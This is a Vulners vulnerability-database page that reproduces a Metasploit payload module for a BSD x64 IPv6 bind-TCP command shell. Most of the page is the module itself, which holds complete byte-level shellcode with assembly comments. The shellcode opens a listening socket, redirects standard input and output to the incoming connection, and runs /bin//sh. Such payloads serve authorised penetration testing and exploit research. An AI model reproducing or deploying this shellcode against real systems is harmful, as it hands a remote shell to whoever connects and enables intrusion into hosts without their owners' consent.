Lucene search
+L

BSD x64 Command Shell, Bind TCP Inline (IPv6)

🗓️ 02 May 2015 18:52:09Reported by Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 31 Views

BSD x64 Command Shell, Bind TCP Inline (IPv6) module for Metasploit Framewor

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 90

  include Msf::Payload::Single
  include Msf::Payload::Bsd
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'BSD x64 Command Shell, Bind TCP Inline (IPv6)',
      'Description'   => 'Listen for a connection and spawn a command shell over IPv6',
      'Author'        => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
      'References'    => [['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_ipv6_bind_tcp.asm.c']],
      'License'       => MSF_LICENSE,
      'Platform'      => 'bsd',
      'Arch'          => ARCH_X64,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LPORT'    => [ 20, 'n' ],
            },
          'Payload' =>
            "\x6a\x61"             + #   pushq  $0x61                       #
            "\x58"                 + #   pop    %rax                        #
            "\x99"                 + #   cltd                               #
            "\x6a\x1c"             + #   pushq  $0x1c                       #
            "\x5f"                 + #   pop    %rdi                        #
            "\x6a\x01"             + #   pushq  $0x1                        #
            "\x5e"                 + #   pop    %rsi                        #
            "\x0f\x05"             + #   syscall                            #
            "\x48\x97"             + #   xchg   %rax,%rdi                   #
            "\x52"                 + #   push   %rdx                        #
            "\x52"                 + #   push   %rdx                        #
            "\x52"                 + #   push   %rdx                        #
            "\xba\x00\x1c\x11\x5C" + #   mov edx,0x5c111c00                 #
            "\x52"                 + #   push   %rdx                        #
            "\x48\x89\xe6"         + #   mov    %rsp,%rsi                   #
            "\x6a\x1c"             + #   pushq  $0x1c                       #
            "\x5a"                 + #   pop    %rdx                        #
            "\x04\x4c"             + #   add    $0x4c,%al                   #
            "\x0f\x05"             + #   syscall                            #
            "\x48\x31\xf6"         + #   xor    %rsi,%rsi                   #
            "\x6a\x6a"             + #   pushq  $0x6a                       #
            "\x58"                 + #   pop    %rax                        #
            "\x0f\x05"             + #   syscall                            #
            "\x99"                 + #   cltd                               #
            "\x04\x1e"             + #   add    $0x1e,%al                   #
            "\x0f\x05"             + #   syscall                            #
            "\x48\x89\xc7"         + #   mov    %rax,%rdi                   #
            "\x6a\x5a"             + #   pushq  $0x5a                       #
            "\x58"                 + #   pop    %rax                        #
            "\x0f\x05"             + #   syscall                            #
            "\xff\xc6"             + #   inc    %esi                        #
            "\x04\x5a"             + #   add    $0x5a,%al                   #
            "\x0f\x05"             + #   syscall                            #
            "\xff\xc6"             + #   inc    %esi                        #
            "\x04\x59"             + #   add    $0x59,%al                   #
            "\x0f\x05"             + #   syscall                            #
            "\x52"                 + #   push   %rdx                        #
            "\x48\xbf\x2f\x2f\x62" + #   mov "//b"                          #
            "\x69\x6e\x2f\x73\x68" + #   mov "in/sh",%rdi                   #
            "\x57"                 + #   push   %rdi                        #
            "\x48\x89\xe7"         + #   mov    %rsp,%rdi                   #
            "\x52"                 + #   push   %rdx                        #
            "\x57"                 + #   push   %rdi                        #
            "\x48\x89\xe6"         + #   mov    %rsp,%rsi                   #
            "\x04\x39"             + #   add    $0x39,%al                   #
            "\x0f\x05"               #   syscall                            #
        }
      ))
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2023 15:02Current
7.2High risk
Vulners AI Score7.2
31